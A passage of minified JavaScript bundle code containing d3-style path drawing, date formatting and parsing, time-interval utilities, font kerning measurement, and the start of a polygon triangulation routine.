pt,St,_t,Ft,Tt=-1,Gt,er=pt.length,Pr=de.value;++Tt<er;){for(St=pt[Tt],_t=St.children,Ft=St.value=0,Gt=_t.length;Ft<Gt;++Ft)St.value+=_t[Ft].value;St.dice?we(St,Me,Ie,Qe,Ie+=(et-Ie)*St.value/Pr):ut(St,Me,Ie,Me+=(Qe-Me)*St.value/Pr,et),Pr-=St.value}else de._squarify=pt=bt(ye,de,Me,Ie,Qe,et),pt.ratio=ye}return ae.ratio=function(de){return Ee((de=+de)>1?de:1)},ae}(yt)},45879:function(te,Z,e){e.d(Z,{h5:function(){return c}});var M=Math.PI,P=2*M,o=1e-6,L=P-o;function S(){this._x0=this._y0=this._x1=this._y1=null,this._=""}function d(){return new S}S.prototype=d.prototype={constructor:S,moveTo:function(b,h){this._+="M"+(this._x0=this._x1=+b)+","+(this._y0=this._y1=+h)},closePath:function(){this._x1!==null&&(this._x1=this._x0,this._y1=this._y0,this._+="Z")},lineTo:function(b,h){this._+="L"+(this._x1=+b)+","+(this._y1=+h)},quadraticCurveTo:function(b,h,i,v){this._+="Q"+ +b+","+ +h+","+(this._x1=+i)+","+(this._y1=+v)},bezierCurveTo:function(b,h,i,v,T,w){this._+="C"+ +b+","+ +h+","+ +i+","+ +v+","+(this._x1=+T)+","+(this._y1=+w)},arcTo:function(b,h,i,v,T){b=+b,h=+h,i=+i,v=+v,T=+T;var w=this._x1,E=this._y1,p=i-b,A=v-h,m=w-b,n=E-h,C=m*m+n*n;if(T<0)throw new Error("negative radius: "+T);if(this._x1===null)this._+="M"+(this._x1=b)+","+(this._y1=h);else if(C>o)if(!(Math.abs(n*p-A*m)>o)||!T)this._+="L"+(this._x1=b)+","+(this._y1=h);else{var x=i-w,I=v-E,k=p*p+A*A,B=x*x+I*I,_=Math.sqrt(k),F=Math.sqrt(C),O=T*Math.tan((M-Math.acos((k+C-B)/(2*_*F)))/2),z=O/F,N=O/_;Math.abs(z-1)>o&&(this._+="L"+(b+z*m)+","+(h+z*n)),this._+="A"+T+","+T+",0,0,"+ +(n*x>m*I)+","+(this._x1=b+N*p)+","+(this._y1=h+N*A)}},arc:function(b,h,i,v,T,w){b=+b,h=+h,i=+i,w=!!w;var E=i*Math.cos(v),p=i*Math.sin(v),A=b+E,m=h+p,n=1^w,C=w?v-T:T-v;if(i<0)throw new Error("negative radius: "+i);this._x1===null?this._+="M"+A+","+m:(Math.abs(this._x1-A)>o||Math.abs(this._y1-m)>o)&&(this._+="L"+A+","+m),i&&(C<0&&(C=C%P+P),C>L?this._+="A"+i+","+i+",0,1,"+n+","+(b-E)+","+(h-p)+"A"+i+","+i+",0,1,"+n+","+(this._x1=A)+","+(this._y1=m):C>o&&(this._+="A"+i+","+i+",0,"+ +(C>=M)+","+n+","+(this._x1=b+i*Math.cos(T))+","+(this._y1=h+i*Math.sin(T))))},rect:function(b,h,i,v){this._+="M"+(this._x0=this._x1=+b)+","+(this._y0=this._y1=+h)+"h"+ +i+"v"+ +v+"h"+-i+"Z"},toString:function(){return this._}};var g=d,t=Array.prototype.slice;function r(b){return function(){return b}}function f(b){return b[0]}function a(b){return b[1]}function l(b){return b.source}function u(b){return b.target}function s(b){var h=l,i=u,v=f,T=a,w=null;function E(){var p,A=t.call(arguments),m=h.apply(this,A),n=i.apply(this,A);if(w||(w=p=g()),b(w,+v.apply(this,(A[0]=m,A)),+T.apply(this,A),+v.apply(this,(A[0]=n,A)),+T.apply(this,A)),p)return w=null,p+""||null}return E.source=function(p){return arguments.length?(h=p,E):h},E.target=function(p){return arguments.length?(i=p,E):i},E.x=function(p){return arguments.length?(v=typeof p=="function"?p:r(+p),E):v},E.y=function(p){return arguments.length?(T=typeof p=="function"?p:r(+p),E):T},E.context=function(p){return arguments.length?(w=p??null,E):w},E}function y(b,h,i,v,T){b.moveTo(h,i),b.bezierCurveTo(h=(h+v)/2,i,h,T,v,T)}function c(){return s(y)}},84096:function(te,Z,e){e.d(Z,{i$:function(){return Le},Dq:function(){return f},g0:function(){return Pe}});var M=e(58176),P=e(48480),o=e(59879),L=e(82301),S=e(34823),d=e(79791);function g(Ee){if(0<=Ee.y&&Ee.y<100){var ye=new Date(-1,Ee.m,Ee.d,Ee.H,Ee.M,Ee.S,Ee.L);return ye.setFullYear(Ee.y),ye}return new Date(Ee.y,Ee.m,Ee.d,Ee.H,Ee.M,Ee.S,Ee.L)}function t(Ee){if(0<=Ee.y&&Ee.y<100){var ye=new Date(Date.UTC(-1,Ee.m,Ee.d,Ee.H,Ee.M,Ee.S,Ee.L));return ye.setUTCFullYear(Ee.y),ye}return new Date(Date.UTC(Ee.y,Ee.m,Ee.d,Ee.H,Ee.M,Ee.S,Ee.L))}function r(Ee,ye,ae){return{y:Ee,m:ye,d:ae,H:0,M:0,S:0,L:0}}function f(Ee){var ye=Ee.dateTime,ae=Ee.date,de=Ee.time,Me=Ee.periods,Ie=Ee.days,Qe=Ee.shortDays,et=Ee.months,pt=Ee.shortMonths,St=b(Me),_t=h(Me),Ft=b(Ie),Tt=h(Ie),Gt=b(Qe),er=h(Qe),Pr=b(et),ct=h(et),Vt=b(pt),Ut=h(pt),dr={a:Ue,A:Ne,b:Et,B:Lt,c:null,d:J,e:J,f:W,H:q,I:ne,j:fe,L:X,m:V,M:Y,p:Nt,q:rr,Q:bt,s:Ot,S:Q,u:ie,U:j,V:K,w:oe,W:re,x:null,X:null,y:le,Y:pe,Z:we,"%":yt},sr={a:tr,A:Jt,b:It,B:or,c:null,d:xe,e:xe,f:Te,H:ke,I:_e,j:be,L:ge,m:Fe,M:Oe,p:ur,q:fr,Q:bt,s:Ot,S:Ce,u:Be,U:$e,V:Xe,w:Ze,W:Ke,x:null,X:null,y:st,Y:lt,Z:ut,"%":yt},nt={a:mt,A:Pt,b:zt,B:Xt,c:Yt,d:x,e:x,f:O,H:k,I:k,j:I,L:F,m:C,M:B,p:wt,q:n,Q:N,s:G,S:_,u:v,U:T,V:w,w:i,W:E,x:$t,X:yr,y:A,Y:p,Z:m,"%":z};dr.x=rt(ae,dr),dr.X=rt(de,dr),dr.c=rt(ye,dr),sr.x=rt(ae,sr),sr.X=rt(de,sr),sr.c=rt(ye,sr);function rt(lr,Nr){return function(Rr){var Cr=[],vn=-1,Ur=0,Mn=lr.length,Sn,nr,Sr;for(Rr instanceof Date||(Rr=new Date(+Rr));++vn<Mn;)lr.charCodeAt(vn)===37&&(Cr.push(lr.slice(Ur,vn)),(nr=a[Sn=lr.charAt(++vn)])!=null?Sn=lr.charAt(++vn):nr=Sn==="e"?" ":"0",(Sr=Nr[Sn])&&(Sn=Sr(Rr,nr)),Cr.push(Sn),Ur=vn+1);return Cr.push(lr.slice(Ur,vn)),Cr.join("")}}function vt(lr,Nr){return function(Rr){var Cr=r(1900,void 0,1),vn=gt(Cr,lr,Rr+="",0),Ur,Mn;if(vn!=Rr.length)return null;if("Q"in Cr)return new Date(Cr.Q);if("s"in Cr)return new Date(Cr.s*1e3+("L"in Cr?Cr.L:0));if(Nr&&!("Z"in Cr)&&(Cr.Z=0),"p"in Cr&&(Cr.H=Cr.H%12+Cr.p*12),Cr.m===void 0&&(Cr.m="q"in Cr?Cr.q:0),"V"in Cr){if(Cr.V<1||Cr.V>53)return null;"w"in Cr||(Cr.w=1),"Z"in Cr?(Ur=t(r(Cr.y,0,1)),Mn=Ur.getUTCDay(),Ur=Mn>4||Mn===0?M.l6.ceil(Ur):(0,M.l6)(Ur),Ur=P.Z.offset(Ur,(Cr.V-1)*7),Cr.y=Ur.getUTCFullYear(),Cr.m=Ur.getUTCMonth(),Cr.d=Ur.getUTCDate()+(Cr.w+6)%7):(Ur=g(r(Cr.y,0,1)),Mn=Ur.getDay(),Ur=Mn>4||Mn===0?o.wA.ceil(Ur):(0,o.wA)(Ur),Ur=L.Z.offset(Ur,(Cr.V-1)*7),Cr.y=Ur.getFullYear(),Cr.m=Ur.getMonth(),Cr.d=Ur.getDate()+(Cr.w+6)%7)}else("W"in Cr||"U"in Cr)&&("w"in Cr||(Cr.w="u"in Cr?Cr.u%7:"W"in Cr?1:0),Mn="Z"in Cr?t(r(Cr.y,0,1)).getUTCDay():g(r(Cr.y,0,1)).getDay(),Cr.m=0,Cr.d="W"in Cr?(Cr.w+6)%7+Cr.W*7-(Mn+5)%7:Cr.w+Cr.U*7-(Mn+6)%7);return"Z"in Cr?(Cr.H+=Cr.Z/100|0,Cr.M+=Cr.Z%100,t(Cr)):g(Cr)}}function gt(lr,Nr,Rr,Cr){for(var vn=0,Ur=Nr.length,Mn=Rr.length,Sn,nr;vn<Ur;){if(Cr>=Mn)return-1;if(Sn=Nr.charCodeAt(vn++),Sn===37){if(Sn=Nr.charAt(vn++),nr=nt[Sn in a?Nr.charAt(vn++):Sn],!nr||(Cr=nr(lr,Rr,Cr))<0)return-1}else if(Sn!=Rr.charCodeAt(Cr++))return-1}return Cr}function wt(lr,Nr,Rr){var Cr=St.exec(Nr.slice(Rr));return Cr?(lr.p=_t[Cr[0].toLowerCase()],Rr+Cr[0].length):-1}function mt(lr,Nr,Rr){var Cr=Gt.exec(Nr.slice(Rr));return Cr?(lr.w=er[Cr[0].toLowerCase()],Rr+Cr[0].length):-1}function Pt(lr,Nr,Rr){var Cr=Ft.exec(Nr.slice(Rr));return Cr?(lr.w=Tt[Cr[0].toLowerCase()],Rr+Cr[0].length):-1}function zt(lr,Nr,Rr){var Cr=Vt.exec(Nr.slice(Rr));return Cr?(lr.m=Ut[Cr[0].toLowerCase()],Rr+Cr[0].length):-1}function Xt(lr,Nr,Rr){var Cr=Pr.exec(Nr.slice(Rr));return Cr?(lr.m=ct[Cr[0].toLowerCase()],Rr+Cr[0].length):-1}function Yt(lr,Nr,Rr){return gt(lr,ye,Nr,Rr)}function $t(lr,Nr,Rr){return gt(lr,ae,Nr,Rr)}function yr(lr,Nr,Rr){return gt(lr,de,Nr,Rr)}function Ue(lr){return Qe[lr.getDay()]}function Ne(lr){return Ie[lr.getDay()]}function Et(lr){return pt[lr.getMonth()]}function Lt(lr){return et[lr.getMonth()]}function Nt(lr){return Me[+(lr.getHours()>=12)]}function rr(lr){return 1+~~(lr.getMonth()/3)}function tr(lr){return Qe[lr.getUTCDay()]}function Jt(lr){return Ie[lr.getUTCDay()]}function It(lr){return pt[lr.getUTCMonth()]}function or(lr){return et[lr.getUTCMonth()]}function ur(lr){return Me[+(lr.getUTCHours()>=12)]}function fr(lr){return 1+~~(lr.getUTCMonth()/3)}return{format:function(lr){var Nr=rt(lr+="",dr);return Nr.toString=function(){return lr},Nr},parse:function(lr){var Nr=vt(lr+="",!1);return Nr.toString=function(){return lr},Nr},utcFormat:function(lr){var Nr=rt(lr+="",sr);return Nr.toString=function(){return lr},Nr},utcParse:function(lr){var Nr=vt(lr+="",!0);return Nr.toString=function(){return lr},Nr}}}var a={"-":"",_:" ",0:"0"},l=/^\s*\d+/,u=/^%/,s=/[\\^$*+?|[\]().{}]/g;function y(Ee,ye,ae){var de=Ee<0?"-":"",Me=(de?-Ee:Ee)+"",Ie=Me.length;return de+(Ie<ae?new Array(ae-Ie+1).join(ye)+Me:Me)}function c(Ee){return Ee.replace(s,"\\$&")}function b(Ee){return new RegExp("^(?:"+Ee.map(c).join("|")+")","i")}function h(Ee){for(var ye={},ae=-1,de=Ee.length;++ae<de;)ye[Ee[ae].toLowerCase()]=ae;return ye}function i(Ee,ye,ae){var de=l.exec(ye.slice(ae,ae+1));return de?(Ee.w=+de[0],ae+de[0].length):-1}function v(Ee,ye,ae){var de=l.exec(ye.slice(ae,ae+1));return de?(Ee.u=+de[0],ae+de[0].length):-1}function T(Ee,ye,ae){var de=l.exec(ye.slice(ae,ae+2));return de?(Ee.U=+de[0],ae+de[0].length):-1}function w(Ee,ye,ae){var de=l.exec(ye.slice(ae,ae+2));return de?(Ee.V=+de[0],ae+de[0].length):-1}function E(Ee,ye,ae){var de=l.exec(ye.slice(ae,ae+2));return de?(Ee.W=+de[0],ae+de[0].length):-1}function p(Ee,ye,ae){var de=l.exec(ye.slice(ae,ae+4));return de?(Ee.y=+de[0],ae+de[0].length):-1}function A(Ee,ye,ae){var de=l.exec(ye.slice(ae,ae+2));return de?(Ee.y=+de[0]+(+de[0]>68?1900:2e3),ae+de[0].length):-1}function m(Ee,ye,ae){var de=/^(Z)|([+-]\d\d)(?::?(\d\d))?/.exec(ye.slice(ae,ae+6));return de?(Ee.Z=de[1]?0:-(de[2]+(de[3]||"00")),ae+de[0].length):-1}function n(Ee,ye,ae){var de=l.exec(ye.slice(ae,ae+1));return de?(Ee.q=de[0]*3-3,ae+de[0].length):-1}function C(Ee,ye,ae){var de=l.exec(ye.slice(ae,ae+2));return de?(Ee.m=de[0]-1,ae+de[0].length):-1}function x(Ee,ye,ae){var de=l.exec(ye.slice(ae,ae+2));return de?(Ee.d=+de[0],ae+de[0].length):-1}function I(Ee,ye,ae){var de=l.exec(ye.slice(ae,ae+3));return de?(Ee.m=0,Ee.d=+de[0],ae+de[0].length):-1}function k(Ee,ye,ae){var de=l.exec(ye.slice(ae,ae+2));return de?(Ee.H=+de[0],ae+de[0].length):-1}function B(Ee,ye,ae){var de=l.exec(ye.slice(ae,ae+2));return de?(Ee.M=+de[0],ae+de[0].length):-1}function _(Ee,ye,ae){var de=l.exec(ye.slice(ae,ae+2));return de?(Ee.S=+de[0],ae+de[0].length):-1}function F(Ee,ye,ae){var de=l.exec(ye.slice(ae,ae+3));return de?(Ee.L=+de[0],ae+de[0].length):-1}function O(Ee,ye,ae){var de=l.exec(ye.slice(ae,ae+6));return de?(Ee.L=Math.floor(de[0]/1e3),ae+de[0].length):-1}function z(Ee,ye,ae){var de=u.exec(ye.slice(ae,ae+1));return de?ae+de[0].length:-1}function N(Ee,ye,ae){var de=l.exec(ye.slice(ae));return de?(Ee.Q=+de[0],ae+de[0].length):-1}function G(Ee,ye,ae){var de=l.exec(ye.slice(ae));return de?(Ee.s=+de[0],ae+de[0].length):-1}function J(Ee,ye){return y(Ee.getDate(),ye,2)}function q(Ee,ye){return y(Ee.getHours(),ye,2)}function ne(Ee,ye){return y(Ee.getHours()%12||12,ye,2)}function fe(Ee,ye){return y(1+L.Z.count((0,S.Z)(Ee),Ee),ye,3)}function X(Ee,ye){return y(Ee.getMilliseconds(),ye,3)}function W(Ee,ye){return X(Ee,ye)+"000"}function V(Ee,ye){return y(Ee.getMonth()+1,ye,2)}function Y(Ee,ye){return y(Ee.getMinutes(),ye,2)}function Q(Ee,ye){return y(Ee.getSeconds(),ye,2)}function ie(Ee){var ye=Ee.getDay();return ye===0?7:ye}function j(Ee,ye){return y(o.OM.count((0,S.Z)(Ee)-1,Ee),ye,2)}function K(Ee,ye){var ae=Ee.getDay();return Ee=ae>=4||ae===0?(0,o.bL)(Ee):o.bL.ceil(Ee),y(o.bL.count((0,S.Z)(Ee),Ee)+((0,S.Z)(Ee).getDay()===4),ye,2)}function oe(Ee){return Ee.getDay()}function re(Ee,ye){return y(o.wA.count((0,S.Z)(Ee)-1,Ee),ye,2)}function le(Ee,ye){return y(Ee.getFullYear()%100,ye,2)}function pe(Ee,ye){return y(Ee.getFullYear()%1e4,ye,4)}function we(Ee){var ye=Ee.getTimezoneOffset();return(ye>0?"-":(ye*=-1,"+"))+y(ye/60|0,"0",2)+y(ye%60,"0",2)}function xe(Ee,ye){return y(Ee.getUTCDate(),ye,2)}function ke(Ee,ye){return y(Ee.getUTCHours(),ye,2)}function _e(Ee,ye){return y(Ee.getUTCHours()%12||12,ye,2)}function be(Ee,ye){return y(1+P.Z.count((0,d.Z)(Ee),Ee),ye,3)}function ge(Ee,ye){return y(Ee.getUTCMilliseconds(),ye,3)}function Te(Ee,ye){return ge(Ee,ye)+"000"}function Fe(Ee,ye){return y(Ee.getUTCMonth()+1,ye,2)}function Oe(Ee,ye){return y(Ee.getUTCMinutes(),ye,2)}function Ce(Ee,ye){return y(Ee.getUTCSeconds(),ye,2)}function Be(Ee){var ye=Ee.getUTCDay();return ye===0?7:ye}function $e(Ee,ye){return y(M.Ox.count((0,d.Z)(Ee)-1,Ee),ye,2)}function Xe(Ee,ye){var ae=Ee.getUTCDay();return Ee=ae>=4||ae===0?(0,M.hB)(Ee):M.hB.ceil(Ee),y(M.hB.count((0,d.Z)(Ee),Ee)+((0,d.Z)(Ee).getUTCDay()===4),ye,2)}function Ze(Ee){return Ee.getUTCDay()}function Ke(Ee,ye){return y(M.l6.count((0,d.Z)(Ee)-1,Ee),ye,2)}function st(Ee,ye){return y(Ee.getUTCFullYear()%100,ye,2)}function lt(Ee,ye){return y(Ee.getUTCFullYear()%1e4,ye,4)}function ut(){return"+0000"}function yt(){return"%"}function bt(Ee){return+Ee}function Ot(Ee){return Math.floor(+Ee/1e3)}var Ge,Le,Pe;De({dateTime:"%x, %X",date:"%-m/%-d/%Y",time:"%-I:%M:%S %p",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});function De(Ee){return Ge=f(Ee),Le=Ge.format,Ge.parse,Pe=Ge.utcFormat,Ge.utcParse,Ge}},82301:function(te,Z,e){e.d(Z,{a:function(){return L}});var M=e(30052),P=e(54263),o=(0,M.Z)(function(S){S.setHours(0,0,0,0)},function(S,d){S.setDate(S.getDate()+d)},function(S,d){return(d-S-(d.getTimezoneOffset()-S.getTimezoneOffset())*P.yB)/P.UD},function(S){return S.getDate()-1});Z.Z=o;var L=o.range},54263:function(te,Z,e){e.d(Z,{UD:function(){return L},Y2:function(){return o},Ym:function(){return M},iM:function(){return S},yB:function(){return P}});var M=1e3,P=6e4,o=36e5,L=864e5,S=6048e5},81041:function(te,Z,e){e.r(Z),e.d(Z,{timeDay:function(){return y.Z},timeDays:function(){return y.a},timeFriday:function(){return c.mC},timeFridays:function(){return c.b$},timeHour:function(){return u},timeHours:function(){return s},timeInterval:function(){return M.Z},timeMillisecond:function(){return o},timeMilliseconds:function(){return L},timeMinute:function(){return f},timeMinutes:function(){return a},timeMonday:function(){return c.wA},timeMondays:function(){return c.bJ},timeMonth:function(){return h},timeMonths:function(){return i},timeSaturday:function(){return c.EY},timeSaturdays:function(){return c.Ff},timeSecond:function(){return g},timeSeconds:function(){return t},timeSunday:function(){return c.OM},timeSundays:function(){return c.vm},timeThursday:function(){return c.bL},timeThursdays:function(){return c.$t},timeTuesday:function(){return c.sy},timeTuesdays:function(){return c.aU},timeWednesday:function(){return c.zg},timeWednesdays:function(){return c.Ld},timeWeek:function(){return c.OM},timeWeeks:function(){return c.vm},timeYear:function(){return v.Z},timeYears:function(){return v.g},utcDay:function(){return n.Z},utcDays:function(){return n.y},utcFriday:function(){return C.QQ},utcFridays:function(){return C.fz},utcHour:function(){return A},utcHours:function(){return m},utcMillisecond:function(){return o},utcMilliseconds:function(){return L},utcMinute:function(){return w},utcMinutes:function(){return E},utcMonday:function(){return C.l6},utcMondays:function(){return C.$3},utcMonth:function(){return I},utcMonths:function(){return k},utcSaturday:function(){return C.g4},utcSaturdays:function(){return C.Q_},utcSecond:function(){return g},utcSeconds:function(){return t},utcSunday:function(){return C.Ox},utcSundays:function(){return C.SU},utcThursday:function(){return C.hB},utcThursdays:function(){return C.xj},utcTuesday:function(){return C.J1},utcTuesdays:function(){return C.DK},utcWednesday:function(){return C.b3},utcWednesdays:function(){return C.uy},utcWeek:function(){return C.Ox},utcWeeks:function(){return C.SU},utcYear:function(){return B.Z},utcYears:function(){return B.D}});var M=e(30052),P=(0,M.Z)(function(){},function(_,F){_.setTime(+_+F)},function(_,F){return F-_});P.every=function(_){return _=Math.floor(_),!isFinite(_)||!(_>0)?null:_>1?(0,M.Z)(function(F){F.setTime(Math.floor(F/_)*_)},function(F,O){F.setTime(+F+O*_)},function(F,O){return(O-F)/_}):P};var o=P,L=P.range,S=e(54263),d=(0,M.Z)(function(_){_.setTime(_-_.getMilliseconds())},function(_,F){_.setTime(+_+F*S.Ym)},function(_,F){return(F-_)/S.Ym},function(_){return _.getUTCSeconds()}),g=d,t=d.range,r=(0,M.Z)(function(_){_.setTime(_-_.getMilliseconds()-_.getSeconds()*S.Ym)},function(_,F){_.setTime(+_+F*S.yB)},function(_,F){return(F-_)/S.yB},function(_){return _.getMinutes()}),f=r,a=r.range,l=(0,M.Z)(function(_){_.setTime(_-_.getMilliseconds()-_.getSeconds()*S.Ym-_.getMinutes()*S.yB)},function(_,F){_.setTime(+_+F*S.Y2)},function(_,F){return(F-_)/S.Y2},function(_){return _.getHours()}),u=l,s=l.range,y=e(82301),c=e(59879),b=(0,M.Z)(function(_){_.setDate(1),_.setHours(0,0,0,0)},function(_,F){_.setMonth(_.getMonth()+F)},function(_,F){return F.getMonth()-_.getMonth()+(F.getFullYear()-_.getFullYear())*12},function(_){return _.getMonth()}),h=b,i=b.range,v=e(34823),T=(0,M.Z)(function(_){_.setUTCSeconds(0,0)},function(_,F){_.setTime(+_+F*S.yB)},function(_,F){return(F-_)/S.yB},function(_){return _.getUTCMinutes()}),w=T,E=T.range,p=(0,M.Z)(function(_){_.setUTCMinutes(0,0,0)},function(_,F){_.setTime(+_+F*S.Y2)},function(_,F){return(F-_)/S.Y2},function(_){return _.getUTCHours()}),A=p,m=p.range,n=e(48480),C=e(58176),x=(0,M.Z)(function(_){_.setUTCDate(1),_.setUTCHours(0,0,0,0)},function(_,F){_.setUTCMonth(_.getUTCMonth()+F)},function(_,F){return F.getUTCMonth()-_.getUTCMonth()+(F.getUTCFullYear()-_.getUTCFullYear())*12},function(_){return _.getUTCMonth()}),I=x,k=x.range,B=e(79791)},30052:function(te,Z,e){e.d(Z,{Z:function(){return o}});var M=new Date,P=new Date;function o(L,S,d,g){function t(r){return L(r=arguments.length===0?new Date:new Date(+r)),r}return t.floor=function(r){return L(r=new Date(+r)),r},t.ceil=function(r){return L(r=new Date(r-1)),S(r,1),L(r),r},t.round=function(r){var f=t(r),a=t.ceil(r);return r-f<a-r?f:a},t.offset=function(r,f){return S(r=new Date(+r),f==null?1:Math.floor(f)),r},t.range=function(r,f,a){var l=[],u;if(r=t.ceil(r),a=a==null?1:Math.floor(a),!(r<f)||!(a>0))return l;do l.push(u=new Date(+r)),S(r,a),L(r);while(u<r&&r<f);return l},t.filter=function(r){return o(function(f){if(f>=f)for(;L(f),!r(f);)f.setTime(f-1)},function(f,a){if(f>=f)if(a<0)for(;++a<=0;)for(;S(f,-1),!r(f););else for(;--a>=0;)for(;S(f,1),!r(f););})},d&&(t.count=function(r,f){return M.setTime(+r),P.setTime(+f),L(M),L(P),Math.floor(d(M,P))},t.every=function(r){return r=Math.floor(r),!isFinite(r)||!(r>0)?null:r>1?t.filter(g?function(f){return g(f)%r===0}:function(f){return t.count(0,f)%r===0}):t}),t}},48480:function(te,Z,e){e.d(Z,{y:function(){return L}});var M=e(30052),P=e(54263),o=(0,M.Z)(function(S){S.setUTCHours(0,0,0,0)},function(S,d){S.setUTCDate(S.getUTCDate()+d)},function(S,d){return(d-S)/P.UD},function(S){return S.getUTCDate()-1});Z.Z=o;var L=o.range},58176:function(te,Z,e){e.d(Z,{$3:function(){return l},DK:function(){return u},J1:function(){return d},Ox:function(){return L},QQ:function(){return r},Q_:function(){return b},SU:function(){return a},b3:function(){return g},fz:function(){return c},g4:function(){return f},hB:function(){return t},l6:function(){return S},uy:function(){return s},xj:function(){return y}});var M=e(30052),P=e(54263);function o(h){return(0,M.Z)(function(i){i.setUTCDate(i.getUTCDate()-(i.getUTCDay()+7-h)%7),i.setUTCHours(0,0,0,0)},function(i,v){i.setUTCDate(i.getUTCDate()+v*7)},function(i,v){return(v-i)/P.iM})}var L=o(0),S=o(1),d=o(2),g=o(3),t=o(4),r=o(5),f=o(6),a=L.range,l=S.range,u=d.range,s=g.range,y=t.range,c=r.range,b=f.range},79791:function(te,Z,e){e.d(Z,{D:function(){return o}});var M=e(30052),P=(0,M.Z)(function(L){L.setUTCMonth(0,1),L.setUTCHours(0,0,0,0)},function(L,S){L.setUTCFullYear(L.getUTCFullYear()+S)},function(L,S){return S.getUTCFullYear()-L.getUTCFullYear()},function(L){return L.getUTCFullYear()});P.every=function(L){return!isFinite(L=Math.floor(L))||!(L>0)?null:(0,M.Z)(function(S){S.setUTCFullYear(Math.floor(S.getUTCFullYear()/L)*L),S.setUTCMonth(0,1),S.setUTCHours(0,0,0,0)},function(S,d){S.setUTCFullYear(S.getUTCFullYear()+d*L)})},Z.Z=P;var o=P.range},59879:function(te,Z,e){e.d(Z,{$t:function(){return y},EY:function(){return f},Ff:function(){return b},Ld:function(){return s},OM:function(){return L},aU:function(){return u},b$:function(){return c},bJ:function(){return l},bL:function(){return t},mC:function(){return r},sy:function(){return d},vm:function(){return a},wA:function(){return S},zg:function(){return g}});var M=e(30052),P=e(54263);function o(h){return(0,M.Z)(function(i){i.setDate(i.getDate()-(i.getDay()+7-h)%7),i.setHours(0,0,0,0)},function(i,v){i.setDate(i.getDate()+v*7)},function(i,v){return(v-i-(v.getTimezoneOffset()-i.getTimezoneOffset())*P.yB)/P.iM})}var L=o(0),S=o(1),d=o(2),g=o(3),t=o(4),r=o(5),f=o(6),a=L.range,l=S.range,u=d.range,s=g.range,y=t.range,c=r.range,b=f.range},34823:function(te,Z,e){e.d(Z,{g:function(){return o}});var M=e(30052),P=(0,M.Z)(function(L){L.setMonth(0,1),L.setHours(0,0,0,0)},function(L,S){L.setFullYear(L.getFullYear()+S)},function(L,S){return S.getFullYear()-L.getFullYear()},function(L){return L.getFullYear()});P.every=function(L){return!isFinite(L=Math.floor(L))||!(L>0)?null:(0,M.Z)(function(S){S.setFullYear(Math.floor(S.getFullYear()/L)*L),S.setMonth(0,1),S.setHours(0,0,0,0)},function(S,d){S.setFullYear(S.getFullYear()+d*L)})},Z.Z=P;var o=P.range},17045:function(te,Z,e){var M=e(8709),P=typeof Symbol=="function"&&typeof Symbol("foo")=="symbol",o=Object.prototype.toString,L=Array.prototype.concat,S=Object.defineProperty,d=function(a){return typeof a=="function"&&o.call(a)==="[object Function]"},g=e(55622)(),t=S&&g,r=function(a,l,u,s){if(l in a){if(s===!0){if(a[l]===u)return}else if(!d(s)||!s())return}t?S(a,l,{configurable:!0,enumerable:!1,value:u,writable:!0}):a[l]=u},f=function(a,l){var u=arguments.length>2?arguments[2]:{},s=M(l);P&&(s=L.call(s,Object.getOwnPropertySymbols(l)));for(var y=0;y<s.length;y+=1)r(a,s[y],l[s[y]],u[s[y]])};f.supportsDescriptors=!!t,te.exports=f},46775:function(te){te.exports=function(){for(var Z=0;Z<arguments.length;Z++)if(arguments[Z]!==void 0)return arguments[Z]}},53545:function(te){te.exports=P;var Z=P.canvas=document.createElement("canvas"),e=Z.getContext("2d"),M=o([32,126]);P.createPairs=o,P.ascii=M;function P(L,S){Array.isArray(L)&&(L=L.join(", "));var d={},g,t=16,r=.05;S&&(S.length===2&&typeof S[0]=="number"?g=o(S):Array.isArray(S)?g=S:(S.o?g=o(S.o):S.pairs&&(g=S.pairs),S.fontSize&&(t=S.fontSize),S.threshold!=null&&(r=S.threshold))),g||(g=M),e.font=t+"px "+L;for(var f=0;f<g.length;f++){var a=g[f],l=e.measureText(a[0]).width+e.measureText(a[1]).width,u=e.measureText(a).width;if(Math.abs(l-u)>t*r){var s=(u-l)/t;d[a]=s*1e3}}return d}function o(L){for(var S=[],d=L[0];d<=L[1];d++)for(var g=String.fromCharCode(d),t=L[0];t<L[1];t++){var r=String.fromCharCode(t),f=g+r;S.push(f)}return S}},31457:function(te,Z,e){var M=e(65185),P=e(18625),o={M:"moveTo",C:"bezierCurveTo"};te.exports=function(L,S){L.beginPath(),P(M(S)).forEach(function(d){var g=d[0],t=d.slice(1);L[o[g]].apply(L,t)}),L.closePath()}},90660:function(te){te.exports=function(Z){switch(Z){case"int8":return Int8Array;case"int16":return Int16Array;case"int32":return Int32Array;case"uint8":return Uint8Array;case"uint16":return Uint16Array;case"uint32":return Uint32Array;case"float32":return Float32Array;case"float64":return Float64Array;case"array":return Array;case"uint8_clamped":return Uint8ClampedArray}}},12129:function(te){function Z(P,o,L){var S=P[L]|0;if(S<=0)return[];var d=new Array(S),g;if(L===P.length-1)for(g=0;g<S;++g)d[g]=o;else for(g=0;g<S;++g)d[g]=Z(P,o,L+1);return d}function e(P,o){var L,S;for(L=new Array(P),S=0;S<P;++S)L[S]=o;return L}function M(P,o){switch(typeof o>"u"&&(o=0),typeof P){case"number":if(P>0)return e(P|0,o);break;case"object":if(typeof P.length=="number")return Z(P,o,0);break}return[]}te.exports=M},11474:function(te){te.exports=Z,te.exports.default=Z;function Z(k,B,_){_=_||2;var F=B&&B.length,O=F?B[0]*_:k.length,z=e(k,0,O,_,!0),N=[];if(!z||z.next===z.prev)return N;var G,J,q,ne,fe,X,W;if(F&&(z=g(k,B,z,_)),k.length>80*_){G=q=k[0],J=ne=k[1];for(var V=_;V<O;V+=_)fe=k[V],X=k[V+1],fe<G&&(G=fe),X<J&&(J=X),fe>q&&(q=fe),X>ne&&(ne=X);W=Math.max(q-G,ne-J),W=W!==0?1/W:0}return P(z,N,_,G,J,W),N}function e(k,B,_,F,O){var z,N;if(O===I(k,B,_,F)>0)for(z=B;z<_;z+=F)N=n(z,k[z],k[z+1],N);else for(z=_-F;z>=B;z-=F)N=n(z,k[z],k[z+1],N);return N&&i(N,N.next)&&(C(N),N=N.next),N}function M(k,B){if(!k)return k;B||(B=k);var _=k,F;do 